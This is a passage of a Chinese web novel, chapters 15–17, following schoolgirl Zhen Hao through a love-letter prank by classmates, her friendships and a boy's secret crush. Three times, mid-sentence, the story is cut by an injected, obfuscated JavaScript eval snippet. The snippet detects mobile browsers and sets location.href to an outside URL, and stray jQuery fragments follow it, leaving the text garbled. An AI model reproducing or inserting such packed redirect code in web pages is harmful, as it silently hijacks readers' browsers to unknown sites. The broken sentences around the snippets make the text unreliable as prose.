她总是这样,欠不得别人一点人情。别人对她好一分,她恨不得还十分回去。 周淳芮深知她的性情,是以没有拒绝:“好呀,我要吃炒白粿。” “没问题。”甄好这才撕开面包包装袋,小口小口地吃起来。 面包松软香甜,是甄好吃过的最好吃的,牛奶也是她喝过的最香醇的。 一定不便宜,一碗炒白粿的钱够报答芮芮吗? 这是吃第一口时,甄好脑子里冒出来的想法。 两人边吃边往教学楼赶。 一是因为的确时间不多了,二是鄢云书没在寝室,她们想赶紧去教室看看她是不是已经提前到了。 学生宿舍与教学楼之间有一小片榕树林,甄好刚走出去就远远看见鄢云书站在教室门口往寝室方向眺望。 “芮芮,云云在那儿。”周淳芮的视力没有甄好的好,甄好不说她没发现鄢云书的身影。 周淳芮叼着吸管,微微眯起眼看向甄好手指的方向,待看清后声音里满是惊喜:“真的是云云!太好了,云云没事!” 鄢云书也看见了她们,一路小跑着朝两人而来,眉眼间的愁思却半点没消散。 她本身就是那种清冷挂的长相,眼睛大但偏细长,驼峰鼻让她的五官更加立体,微薄的唇带点粉,不笑的时候看起来有些冷。 她在甄好两人面前站定,开口便是道歉:“对不起啊,今天我失约了。” “没事没事,你人没事就好。”周淳芮无所谓地拍拍她的肩。 “你吃过晚饭了吗?”甄好转移话题问道。 “还没有。”鄢云书回身指了指教室,“我准备了三份甜点和奶茶,等下上课可以偷偷吃。” “好啊好啊!”周淳芮瞬间觉得嘴里的面包不香了。 她馋鄢云书口中说的的甜点和奶茶,鄢云书是她们三人中对事物最有要求的,挑的定然好吃。 三人正是长身体的年纪,吃下两份甜点饮品对于她们来说不是什么难事。 鄢云书并未说自己为何失约,甄好两人也没有刨根问底。 她们有说有笑地一起走回教室,就像什么都不曾发生过。 上课铃声打响的前一秒,鄢云书刚好给她们分完手里的甜点和奶茶。 奶茶可以放在课桌上正大光明地喝,甜点就只能时不时用课本挡着或者假装趴下,然后偷偷吃一口。 人性挺奇怪的,偷摸着吃好像总是更香。甄好吃完面包牛奶和甜点奶茶,还是觉得意犹未尽。 她开始期待下课,期待再吃上一份香喷喷的炒白粿。 从来到教室看见喻玲的那一刻开始,她就在刻意地忽视对方,表面看起来两人好像没什么变化,实际上那种若有似无的距离感始终存在。 不过她很快没了思考这件事的心思,因为魔鬼数学老师发了三张卷子,并严肃地说道:“试卷(一)明天上课要讲解,请同学们认真完成。” 他一说完,底下就一片怨声载道。 但怨声载道也没用,该做的卷子一张都少不了。 前两节晚自习,甄好都在奋笔疾书中度过。 第二节下课,周淳芮叫她一起去上厕所。走到教室前门时,她下意识看了一眼时序的座位。 时序的座位被安排在讲台旁,传说中的黄金宝座。 平时一下课就不见人影的时序竟然在睡觉。 少年的睡颜大大方方地对着门口,丝毫没有用任何东西遮掩。 连睡觉都那样张扬。 甄好只当他是周末玩疯了,才在下课补觉,并未想太多。 第三节晚自习,她依旧忙于补作业。 直到最后一节课,她总算得以松口气。不仅仅是她,全班同学都差不多,不再像前面三节那样安静,说话的声音甚至慢慢大了起来。 然而—— 突然出现的班主任打破了这闲聊盛世:“我在隔壁班都能听到你们说话的声音,作业都写完了?” 教室顿时鸦雀无声。 好险。 甄好默默地松了一口气。 就在班主任开口的前一秒,她刚想找周淳芮说话,幸好最后改为写字条。 字条刚送到周淳芮手里,班主任就来了。 等确定班主任的身影又神不知鬼不觉地消失了,周淳芮才敢小心翼翼地展开字条,只见上面写着:“帮忙传上去。” 甄好一共写了两张字条,一张是给周淳芮的,另一张则是…… 她抬头看向距离自己五张课桌的少年,眉头微皱。 原本她并不觉得哪里有问题,问题出现在第三节下课,她在走廊和时序打了个照面。对方却像没看见她似的,整个人游魂般地与她擦肩而过。 这样的时序不太对劲。按照他的性格,一定会咧开大白牙,笑着叫她“好好”。 虽说她刻意跟他保持着距离,但怎么说都算是从小一起长大的朋友加同学,她思来想去,还是决定关心一下他。 于是便有了这么一张字条。 这是她第一次主动给时序写字条,内容很简短:“看你脸色不太好,没事吧?” 时序不仅下课趴在桌上,连上课都是一只手撑着脸颊,一只手有一下没一下地转着笔,一副无精打采的模样。 收到字条后,他原本无神的双眼瞬间亮了,笔也不转了,整个人坐得笔直。 正不着痕迹观察他的甄好见他这样,还以为班主任又来了,下意识低下头默背单词:“abandon……” 等她再抬头时,是周淳芮将字条传回给她。 时序的回复也很简短:“我没事,谢谢好好关心我。” 得到他没事的回答,甄好一颗悬着的心也就放下了。 她本想再次对他强调不要叫自己好好,但想了想还是作罢。 一来一回的对话就这样结束了。 从甄好手中开始,也从她手中结束。 在她脑袋放空什么都没想的时候,突然被粉笔砸中额头。 轻微的疼痛缓缓蔓延,她抬头看向前方。 裴小海正一脸笑嘻嘻地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552286|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,嘴上说着抱歉表情却没有一丝歉意:“不好意思啊,手抖,扔歪了。” 他都这样说了,甄好也不好再说什么。 喻玲看了一眼裴小海,两人的眼神有过短暂的相接,又很快错开。 甄好刚垂头准备继续默背单词,又一个粉笔头砸中了她。 她再度抬头,看到的依旧是转过身冲她笑得像一朵菊花的裴小海。 谁知男生还是一样的说法:“抱歉抱歉,又手抖了。你往下趴一趴,我不是要扔你。” 这一次,甄好还是选择忍耐,并且真的如他所说,微微躬身低下头。 但她还没安宁两秒,第三次“爆头”就随之而来。 一次是手抖,两次是手抖,三次还相信是手抖,那她就真的可以去看脑科了。 她终于忍不住站起来:“裴小海,你有完没完?!” 她的声音有些大,引得同学们纷纷将视线投向她。 刚刚的爆发只是一时之间的勇气,等意识到自己完全暴露在全班同学的目光中,甄好整张脸都红了,心也跟着怦怦直跳。 裴小海显然也没想到她会突然大声呵斥出来,整个人一愣,半晌才结结巴巴道:“我……我怎么了?我什么也没干啊……” 说到最后他有些心虚,连看都不敢看甄好。 其实甄好已经后悔站起来了,此时她连手心都微微冒汗。 就在她不知如何回应的时候,周淳芮替她杠了回去:“裴小海,你再欺负我们好好信不信我打你?” “谁……谁欺负她了?!”裴小海梗着脖子否认,却一点说服力都没有。 “算了,懒得跟小人计较。”甄好到底还是打了退堂鼓,说完就重新坐下。 这种备受瞩目的感觉让她浑身别扭,只想快点逃离。 她坐下的同时,也扯了扯周淳芮的校服。 “好好,像这种贝戋男生,你越给他好脸色,他越得寸进尺!”周淳芮回头对她说道。 她说的甄好又何尝不知道,可…… 甄好眼睑微敛,选择息事宁人:“还是算了吧,不想惹一身腥。” 一方面她承认是因为自己怂,怕事;但另一方面也是真觉得像裴小海这种贱贱的性格,跟他结梁子以后有得恶心。 “啊!谁砸我?”裴小海捂着不知被什么砸中的额头,惊呼出声。 周淳芮笑出了声:“活该,这就叫现世报懂不懂?” “周淳芮,你别太嚣张,我告诉你。”裴小海环顾教室,却没看见是谁偷袭了自己。 而偷袭者此时正若无其事地握着没有笔帽的笔认真解题,像是两耳不闻窗外事,一心只读圣贤书的书呆子。 用笔帽扔裴小海的人是鄢云书。 她的动作行云流水,准头极好,一击即中。 这一幕恰巧被甄好收入眼底,一种难以名状的感动之情涌上她心头。 她用笔悄悄戳了戳鄢云书的后背,用气音说道:“谢谢你,云云。” 鄢云书并未回头,只是抬起右手,朝她晃了晃笔帽失踪的水性笔。 甄好的好心情在这支没有笔帽却能够张牙舞爪讨公道的笔中奇迹般转好。 心情好肚子也跟着凑热闹,咕噜叫了两声。 一放学,她就扬起笑脸,对周淳芮和鄢云书说:“走,今晚我请你们吃炒白粿。” 然而她们没能吃成炒白粿,因为三人刚走出教室后门,甄好就被一个人拦住了去路。 15. 自以为是的友谊 今日心情复杂,像吃了泡在柠檬水里的苦瓜,又酸又苦又涩。 ——《甄好日记》 拦住甄好去路的人是欧阳雅雅。 “甄好同学,可不可以给我两分钟的时间?”她的语调一降再降,听起来委屈巴巴的,不知道的还以为是甄好欺负她了。 事实也确实如此,有些还没出教室的同学已经朝她们投来探究的目光。 “好好,我们走,别理她。”上周五回家的路上,周淳芮和鄢云书就听甄好说了情书事件的经过,再看到欧阳雅雅自然没什么好脸色。 甄好本也没打算理会欧阳雅雅。 以喻玲为首的那几个女生都是城里女孩,跟她们到底不是一个世界的人。 之前都是她痴心妄想,这份她自以为的友谊她现在不想要了。 就在她准备无视欧阳雅雅绕过她走出去时,喻玲的声音忽然响起:“雅雅,我不是叫你别来了吗?过去的事就让它过去吧!” 她此话一出,甄好那种被人看热闹的感觉愈加明显。 一种无力的厌恶感再度席卷她全身,她忍无可忍:“够了,你们到底还想怎样?” 戏弄完她一次不够,还要再来一次吗? “没什么好看的,都走吧,走吧。”周淳芮出声对班里仅剩的几个同学说道。 那几名同学都是只知道读书的乖学生,本就无意卷入这些无聊的纷争,周淳芮这么一说,几人很快便都相继离开。 “清场”的教室给了欧阳雅雅更大的发挥空间:“玲子,你没有必要替我背锅。那些信本来就跟你无关!” “我是牵线人,而且真的伤害到好好了,错就是错了,我不想推脱责任。”喻玲字字句句说得真诚无比。 欧阳雅雅转而对甄好解释:“甄好同学,是我虚荣心作祟,觉得你的字写得漂亮,才自作主张原封不动送了出去,没想到会引起这么大的误会。这一切都是我的问题,你别怪玲子了,好不好?” “哼。”周淳芮冷笑一声,“瞧你这话说得,敢情你们都有苦衷,就我们好好活该吃这个哑巴亏呗?” “我不是这个意思……”欧阳雅雅连忙否认,“我就是看到玲子因为甄好同学而每天郁郁寡欢,觉得心有愧疚,想做点什么挽救一下她们的友情……” 周淳芮实在是听不下去了:“喻玲要是真拿我们好好当朋友,就不会出这档子乌龙,更不需要你来当这个和事佬!你就别在这里猫哭耗子……” “芮芮,我们别跟她们争了。”甄好打断周淳芮的话。 她从没想过这件事还会有这么多后续,此时此刻只想尽快了结它。 于是,她转而面对喻玲和欧阳雅雅:“同桌、欧阳同学,这件事我现在不想追究了,你们说什么就是什么,我谁也不怪,要怪就怪我自己不该写那些信。” 喻玲听了这话,眼睛顿时亮了:“好好,你还愿意叫我同桌是不是代表你不生我气了?” 她脸上的开心太过真实,以至于甄好都忘了自己还在跟她冷战,不自觉就点了头:“嗯,不气了。” 她的确早就不气了,她只是觉得自己被冤枉了,心里憋屈。 就在她点头的一刹那,一片蓝白衣角映入她的眼帘,又快速消失。 不过她也没太过在意,只当是哪个去而复返的同学想回教室,看到她们在争吵又不好意思进来。 总之,甄好和喻玲为期一个周末的冷战就这么莫名其妙地结束了。 回宿舍的路上,周淳芮依旧愤愤不平:“好好,你就是脾气太好了。” 甄好只是笑笑,没有辩解:“今天谢谢芮芮和云云替我出头。” 其实她脾气一点都不好,她只是背后无人依靠,便习惯性地选择隐忍。久而久之,她连自己都骗过了,以为自己真的脾气好。 “啊,我的炒白粿。”周淳芮并不打算在这件事上继续耗费心神,很快将心思又转回到美食上。 “只能明晚吃了。”甄好略带抱歉地说道,“双份。” “好啊好啊,明晚我们一定吃穷你。”周淳芮说着转向鄢云书:“你说对吧?云云。” “嗯。”鄢云书只是言简意赅地回答了一个字。 不过她们都习惯了。 鄢云书话一向不多,这也导致两人都没发现她满腹心事。 喻玲几人说说笑笑地走出学校大门,拐过第一个转角的时候与一个人迎面碰上。 楼知夏的笑容霎时僵在嘴边。 自从参与情书恶作剧,她每每看到师杭与和甄好都会觉得心虚。 这次也不例外,她紧张到手心微微冒汗。 少年冷冷地看了她们一眼,便打算错身而过。 擦肩而过之际,喻玲又用她那听起来温柔且无辜的嗓音叫住了他:“杭与同学——” 师杭与脚步微顿,却并未回头看她:“喻同学有什么事?” 他冷冰冰的语气让喻玲一愣。 愣住的不仅她,连她身边的其他三个女生也有些诧异。 “没有啦。”但喻玲很快反应过来,声音柔柔的,“就是想跟杭与同学道个歉,那些信是我弄错了,你要怪就怪我吧,不要怪好……” 她的话还没说完就被师杭与不耐烦地打断:“我对你们女生之间这些无聊的事情不感兴趣,麻烦以后不要牵扯到我,谢谢。” 说完他便头也不回地走了。 方才她们几人在教室的对话不巧都被他听到了,他这才知道是自己误会甄好了。 喻玲第一次给他送信时,他的讶异直接写在脸上。他以为信是喻玲写的,就连裴小海都一直打趣他:“班花竟然喜欢你!” 但下一秒,师杭与就否定了裴小海的结论:“信不是喻玲写的。” “你怎么知道?”裴小海震惊道。 “因为字迹不是她的。”师杭与一打开信纸,就认出了那手漂亮的字是出自谁人,“是甄好。” 且不说甄好的满分作文被整个年级传阅,主要是她的字体实在特别,让人过目难忘。 “什么啊……”裴小海瞬间失落极了,“你怎么被那个土包子看上了啊……” “裴小海——”师杭与的表情瞬间严肃起来,“你再这样看不起其他同学,我就……” “好啦好啦,知道了。”裴小海及时打断他的谆谆教诲,“你就不认我这个兄弟嘛。甄好同学最洋气了,才不是土包子,满意了吗?兄弟。” 师杭与无奈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552287|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头,对着手里的信有些发愁。 后来连续不断的信更是让他不知所措。 他不知如何回应,却也不想伤害一个少女的真心,所以他只是将那些信一封一封地收好,并未提笔回信。 直到喻玲突然告诉他:“不好意思啊,杭与同学,之前的信你就当没看过。真的对不起,是我们弄错对象了,其实那些信……” “那些信怎么了?”师杭与见她久久不说下文,开口问道。 “那些信其实不是给你的,是我弄错对象了。”喻玲说得模棱两可,“都怪我,我不该帮这个忙。实在很抱歉,对你造成困扰了。杭与同学,你要怪就怪我吧,不要怪好好,这一切跟她没关系。” 听到喻玲这样说,师杭与感觉自己一直被当猴耍,愤怒在一瞬间战胜了理智。 少年那莫名其妙的自尊心架不住被人故意表错情。 他看起来像是缺那几封情书的人吗? 他怒气冲冲地回教室取出那些被他码得整整齐齐的信,当面扔给了甄好,还说了那样伤人的一句话。 走在路上的师杭与回忆起这些,心里五味杂陈。 而喻玲看着少年渐渐远去的身影,秀眉始终皱着。 欧阳雅雅口无遮拦,将心里的疑问说了出来:“玲子,你不是说师杭与同学暗恋你吗?怎么对你这样冷冰冰的……” 这也是喻玲不理解的。 她的感觉不会出错的,师杭与喜欢他这件事是毋庸置疑的。 “雅雅,你懂什么?”欧阳雅美说得头头是道,“现在的臭男生不都这样?都喜欢摆着一张扑克脸,对谁都冷冷淡淡的,尤其是对喜欢的女生更加爱搭不理,好像这样更酷更帅似的。” “你说得好有道理。”欧阳雅雅若有所思,“好像真的是这么回事。” 喻玲则有些心烦意乱:“我管他喜不喜欢我,我缺他喜欢吗?” “就是。”欧阳雅雅狗腿道,“咱们玲子这么漂亮,追你的人排到英东街都不够地儿站呢。” 对于她的话,喻玲没有给出回应,而是沉浸在自己的思绪当中。 一个可怕的想法在她脑海中形成。 既然宋景喜欢甄好,甄好又喜欢师杭与,而师杭与喜欢自己,那么…… 想好对策的喻玲一扫郁闷的心情,笑容重新绽放。 她是无意间发现甄好暗恋师杭与这个秘密的,一开始她并没想拿这件事做文章,直到得知宋景真正属意的人竟是甄好,疯狂的嫉妒让她直接失去了理智。 她温柔地笑着,用轻柔的声音说出一个恶毒的计划:“哎,有件事需要你们帮忙。我和宋景有没有戏就靠你们了。” 听完她的计划后,欧阳雅美显得兴致勃勃:“玩这么大?我喜欢。” 欧阳雅雅从来都是选择无条件支持喻玲和自家阿姐:“需要我做什么随时叫我。” 只有楼知夏眉头紧皱。 她不喜欢这种恶作剧,可是她没有说“不”的勇气。 另一边,鄢云书终于决定将自己的烦恼告诉甄好二人:“好好、芮芮,我有个坏消息要告诉你们。” 看着她一副快要哭出来的模样,甄好和周淳芮一颗心瞬间提到嗓子眼。 16. 不能一起上下学 我在十三岁这年撒下梦想的种子,期盼它能开花结果。 ——《甄好日记》 “云云,你别吓我。”周淳芮被鄢云书严肃的表情吓到,“是不是真到坏消息这么严重啊?” 她夸张的表情一出,鄢云书反倒放松了些许:“其实也没有那么坏,就是……就是……” 她一时不知该怎么说出口。 “云云,你再吊我胃口等下该帮我掐人中了。”周淳芮都快急死了。 “云云,你直接说吧。”甄好安抚鄢云书,“有什么事我们一起想办法,三个臭皮匠顶个诸葛亮嘛。” 鄢云书深吸一口气,才娓娓道来:“今天下午我不是失约了嘛,首先很抱歉,让你们久等了,也让你们担心了。我不是故意爽约的,是因为我爸爸开车送我来学校了,并且他说……他说……” “云云,你再这样说话我就掐死好好,再去自首。”周淳芮急坏了。 甄好:“……” 周淳芮总是有这种本事,轻而易举就让紧张的氛围变得轻松下来。鄢云书紧绷的神经在她的玩笑中放松了不少,难以说出口的话也自然而然地说了出来:“我爸给我定了张叔家的车,所以以后我们不能一起上下学了。” 张叔是镇里跑车的,主要承接一些接送业务,包括但不限于送货接人,最近承包了一项接送附近人家的孩子上下学的活计。 每周五到三中接人回家,周日下午再送孩子上学,费用是一个月一百五十元。 这对于甄好家来说称得上是一笔巨款,她一个月的生活费都还没超过一百元,自然没有机会坐张叔的车。 “我爸觉得我骑单车上下学不安全,所以……”鄢云书其实很想反抗,但鄢识向来说一不二,她不用试都知道结果如何。 “嗐,我还以为多大的事呢。”周淳芮摆摆手,“云云,我们只是不能一起上下学了,又不是见不到面了,别把事情想得那么糟糕。” “可是我们之前说好要一起的……”鄢云书是很典型的道德感极强型人格,光是说到没做到就让她自责到不行。 “云云,不管我们将来如何,我们的心都是在一起的。”一向大大咧咧的周淳芮难得说了句这样矫情的话。 说完她自己都觉得有些难为情:“哎呀,反正这事在我们这里根本不叫事,对吧,好好?” 甄好赞同地点头:“芮芮说的也是我想说的。” 在她们的安慰下,鄢云书总算从白天那种郁闷的情绪中挣脱出来,三人之间又变回之前轻松谈笑的氛围。 聊到最后,甄好忽然想起来一件事:“对了,明天晚上恐怕不能和你们一起吃炒白粿了。” “是不是那几个讨厌的女生又找你麻烦了?”周淳芮一脸紧张地看着甄好。 按理说不应该,但也不排除在她错眼之际,她们之中有谁对甄好说了什么。 “不是,不关她们的事。”甄好被她的反应逗笑,“我们改明天中午吃炒白粿好不好?明天我想让你们陪我去两个地方。” 周淳芮自是举双手赞成:“好啊好啊,我没意见。” “我也没问题。”鄢云书跟着道。 “不过为什么是两个地方?”周淳芮不解道,“除了去秋先生那里,还要去哪儿?” 甄好神秘道:“明天你就知道了。” “好你个臭好好,明知道我好奇心重,还这么对我!”周淳芮说着伸手轻掐住甄好的脖子,“我真的要掐死你,然后去自首,我说到做到我告诉你……” 甄好损她:“你说到做到?你明天先按时起床再说这话吧。” “啊啊啊!云云,你看她!”周淳芮抓着鄢云书哭诉,“好好欺负我。” 三个女孩子在打闹中不知不觉又加深了友情,天上的明月为鉴。 虽说情书事件暂告一段落,但人们心中的成见是一座大山,仍旧有不少人在谣传甄好暗恋师杭与,觉得她不自量力,竟然喜欢年级最受欢迎的男生之一。 只有甄好心里清楚那不是谣传,她是真的喜欢师杭与,并且十分没出息地因为自己的名字能时不时和他的一起出现,并被讨论而感到一丝丝窃喜。 这种隐秘的欢愉是难以言喻的,既上头又心慌。 毕竟偷来的东西始终不是自己的,欢乐也一样。 这导致她比平时更不敢直面师杭与,总是躲着他走。 而师杭与因为自己误会她一事,心里一直惴惴不安,也有意无意地躲着她。 如此一来,两人虽然在同一个教室上课,碰面的机会却少之又少。 上语文课的时候,甄好盯着少年的背影发呆。 老师在讲台上讲语法的使用,甄好在脑子里思考少年是不是真的像别人说的——喜欢喻玲。 “同桌——” 她神游之际隐约听到有人在叫自己。 “同桌——”那人又喊了她一声。 甄好这才彻底回过神。 是喻玲在叫她。 “怎么了?”突然被正主之一叫到,甄好有些心虚。 “一起去厕所吗?”喻玲弯着眼眸看她,笑得一脸无害。 闻言,甄好抬头看了一眼讲台。 上面早就没了班主任的身影。 原来已经下课了啊。 “好啊。”甄好没有拒绝喻玲的邀请。 她们走出教室后,周淳芮学着喻玲的语气,对鄢云书说:“同桌,一起去厕所吗?” 声音发嗲之余,还带着刻意的亲昵。 鄢云书有些不适应地搓了搓手臂,一脸认真地问道:“芮芮,可以商量件事吗?” 周淳芮不疑有他:“云云请说。” “可不可以不要捏着嗓子对我说话?我难受……”鄢云书毫不客气地说出自己的感受。 周淳芮:“……” 她发现自己最近有□□倾向,因为她不仅想掐死甄好,还想掐死鄢云书。 “云云,你不爱我了。”最后,周淳芮开始耍赖皮,“人家难得撒娇,你竟然这样说人家,人家好伤心啊……” 鄢云书:“……” 走去厕所的路上,喻玲有意无意地聊起一个人:“好好,你觉得宋景这个人怎么样啊?” “宋景?”甄好有些讶异她突然提起这个人,“我跟他不熟,不好评价。” 这是实话。 她的确跟宋景这人不熟。 “哦,这样啊。”喻玲假装无所谓地回了这么一句。 “怎么了,突然说起他?”甄好顺着话题问道。 “没怎么。”喻玲又露出她那招牌式温柔笑容,“就是随便聊聊。” 随便聊聊的喻玲在等一个时机,等一个让甄好伤心难过的时机。 而甄好,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552288|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于喻玲心里所想的一切一无所知,依旧当她是那个善良漂亮的同桌。 上午一放学,周淳芮就迫不及待地问甄好:“好好,你到底要我们陪你去什么地方?快说快说。” 她可是忍了一晚上又忍了一个上午,好奇心已然达到顶峰。 甄好有些不好意思地拿出一个信封,郑重其事地说道:“去邮局。” 这件事她谁都没告诉,包括周淳芮和鄢云书到此刻都还不清楚她具体要做什么。 鄢云书看到信封上的收件人,有些惊讶又觉得合情合理。 倒是周淳芮微微瞪大双眼,直接念了出来:“译林杂志?” “嘘,你小点声。”甄好忙拉了一下周淳芮的校服袖子,“我想试试,但不知道结果怎样。” 这本杂志是全国发行第一的刊物,尤其受中学生青睐。在看到它举办征文比赛的那一刻起,甄好就决定参加。 不管结果如何,她都想给自己一个尝试的机会。 “好好,你一定可以的,我支持你!”反应过来的周淳芮眼睛都亮了,“等将来你成为大作家了,我就可以骄傲地告诉所有人,我有一个作家朋友,肯定倍有面!” “这才哪儿到哪儿呢?”甄好无奈极了,“你就开始做梦了。” “梦想总是要有的嘛,万一实现了呢?”周淳芮才不在乎那么多,“反正我相信你。” 邮局就在学校五百米的地方,她们很快便到了。 甄好虔诚且珍重地将信封投进信筒里,又在原地站了几秒,才缓缓吐出一口气:“好了,梦想投递成功。” “为了庆祝好好走出梦想第一步,我们去吃炒白粿吧,我请客!”周淳芮豪气道。 甄好不同意:“说好我请客的。” “哎呀,我们什么关系?不要在意这些细节。”周淳芮笑得眯起眼睛,“大不了你下次再请,反正今天我请定了。” “你们别争了,今天我请。”鄢云书横插一脚。 “这样吧,我们轮流。”周淳芮很快想到了一个绝佳的办法,“一三我请客,二四云云请客,星期五轮到好好。今天周一,该我请。怎么样,我是不是巨聪明?” 甄好一听,更不同意了:“为什么我只分到一天?” 周淳芮给出了一个十分合理的理由:“因为你每次都吃得最少,所以就这么愉快地决定了。” 鄢云书笑着点头:“同意。” 甄好:“……” 她感觉好像哪里不太对劲,但是她说不出来。 在她们因为谁请客而争论不休的时候,喻玲请欧阳雅美姐妹俩和楼知夏下馆子去了。 都是长个子的时候,四个女生点了一大桌菜,惊得服务员小心翼翼地重复:“建议一人一菜,避免浪费哟。” 欧阳雅雅大手一挥:“放心放心,浪费不了一点。” 服务员这才放心地下单去了。 几人落座后,都各自拿出了手机。 楼知夏的手机是新买的,她和阿姐一人一部。 以楼父的收入水平是断然不可能一下子买得起两部手机的,所以不用问楼知夏都知道一定是那个叔叔送的。 面对朋友的询问,她也总是这样回答:“是一个做生意的叔叔买的。” “玲子,玲子!”欧阳雅美突然激动道,“根据可靠消息,宋景同学下午将重返学校!” 17. 在告别仪式下跪 爷爷,我会一直想念你。 无论晴天雨天,无论白天黑夜。 ——《甄好日记》 欧阳雅美提起宋景的同时,周淳芮也收到了消息:“哎,听说宋景那家伙下午要返校了。” 这是甄好两个小时内第二次听见有人提起这个人,不由得反问:“所以呢?” 她虽然和宋景不熟,但对此人可以称得上印象深刻。 开学第一天,她正好撞见他凶人的模样。可不过两分钟,他们在新教室再次相遇,他却是一副温润如玉的少爷模样。 前后反差实在过大,以至于甄好觉得他整个人都很割裂,不知哪一面才是真正的他。 不过她不在乎,也不想知道。 像宋景这种看起来就家境优渥的人,注定不会在她的人生里留下什么浓墨重彩的足迹。 在那之后,她也的确没有和他产生过什么交集。如果非要说有,可能是她又一次撞见他一脸凶巴巴对着人说狠话。 承受他怒火的那个男生满脸不服:“有本事打一架啊!你个小矮子。” 此时只有甄好一个女生路过,宋景本就高傲的性子更加听不得“小矮子”这三个字,觉得自己受到了成倍的侮辱。就在他奓毛的前一秒,一道比冰还冷的声音先响起。 甄好也不知是哪里来的勇气,冷冷地嘲讽:“宋同学将来会不会比你高不好说,但你这种揭人短板的人长得再高也是思想侏儒。” 她平生最讨厌别人拿外貌说事,心里那种厌恶的感觉一上来就压抑不下去,等她反应过来的时候,话已经像倒豆子一样倒了出来。 宋景愣住了,毛都忘记奓了。 那个男生也愣住了,眼睛都忘了眨。 被两个男生直勾勾地盯着,甄好才后知后觉地感到难为情。 她逃避这种难堪的办法是转身就走,当自己从没出现过。 而她的行为在宋景二人眼中变成了—— “她好冷漠。” “她嘴好毒。” 后来又发生了什么,甄好自然不得而知,她只知道在得知宋景是三中小霸王,俗称校霸后,她感到些许害怕。 她听过很多关于校霸的传闻,也看过群架现场。那种椅子腿乱飞,打到头皮血流的画面实在是过于触目惊心,她只想好好读书,不想惹祸上身。 所以她之后见了宋景都绕道走。 直到开学第四周,宋景的座位空了。 校霸为什么没来上课,学校里传出诸多流言,有说他跟人打架打狠了把自己送进医院了;也有说他纯粹是不想上课了干脆请假不来;更夸张的是有人说他失恋了,每天在家里哭…… 听着这些不靠谱的传言,甄好脑海里忍不住浮现宋景听见后奓毛的模样,想着想着不自觉笑出了声。 当时周淳芮还问她想什么笑得那么开心,她随便找了个理由搪塞过去了。 这一次周淳芮的回答听起来也挺像搪塞她的:“没有所以,就是关心一下同班同学。” 说话间,三份炒白粿已经陆续被端了上来。 不知是谁的肚子适时叫了一声,三人相视而笑,继而对着美食大快朵颐起来。 只是吃着吃着,甄好总觉得有一道目光若有似无地落在自己身上。等她真正去寻的时候,又什么都没看到。 她也只当是自己疑心病犯了,继续埋头享用午餐。 距离甄好她们三桌之远的桌子,三个男生正在等菜上。 “景哥,今天怎么想到来这小店吃饭?”邹晓伟略显嫌弃地环视一圈只能容纳五套桌椅的店子。 陶文灿也跟着道:“是啊,这不像景哥的风格啊。” 宋景坐在两人对面,他身形瘦癯,正好被邹晓伟伟岸的身姿挡了个严严实实,是以甄好没发现他的存在。 店里吵吵嚷嚷的,说话不刻意去听和加大音量,基本上听不清别桌的人在说什么。 “你们懂什么?”宋景懒得解释,“小爷我就爱来这里吃。” 陶文灿一个不经意的回头间,看见了熟悉的人。 他顿时福至心灵:“不是吧,景哥你来真的啊?” “来什么真的?”邹晓伟不明所以。 “就那谁……”陶文灿压低声音道,“黑妹也在。” “黑妹”是他们在小学时给甄好取的外号。 刚上小学的甄好,皮肤因为晒了一整个夏天,比班里的其他女生都黑。几个调皮的男生就开始“黑妹黑妹”地叫她,其中就包括邹晓伟和陶文灿。 邹晓伟听了陶文灿的话随之转过头,果真看到正低头吃饭的甄好。 “景哥,你是认真的啊?”回过头的邹晓伟觉得宋景果真人傻钱多,“你真看上黑妹了?” 宋景的脸顿时黑了下来:“什么黑妹不黑妹的?好好妹妹皮肤白着呢。” 邹晓伟两人同时被“好好妹妹”四个字激得起了一身鸡皮疙瘩。 “好好妹妹将来是要当你们嫂子的,都给我客气点。”宋景最后如是总结道。 “知道了,景哥。”两人不情不愿地应道。 一想到要叫那个土包子黑妹“嫂子”,邹晓伟就浑身不自在。 有钱人的品位果然独特,竟然好甄好这口。 他到底还是没忍住问道:“景哥,我很好奇一个问题。” “说。”宋景漫不经心道。 “你说你到底是看上她哪里了?”邹晓伟细数着甄好的缺点,“她长得不是班里最漂亮的,家境也很一般,尤其是那张脸,都不带笑的,整得每个人都欠了她八百万似的……” 发觉宋景的脸色越来越难看后,邹晓伟总算住了嘴。 “小爷就是喜欢她够酷。”宋景再次强调,“总之你们以后对好好妹妹放尊重点,听到没?” “知道了,知道了。”两人异口同声。 甄好自然不会知道自己成了三个男生口中的主角,吃完饭便打算回宿舍午休。 回去的路上,周淳芮没忍住嘴馋又买了三支冰激凌。 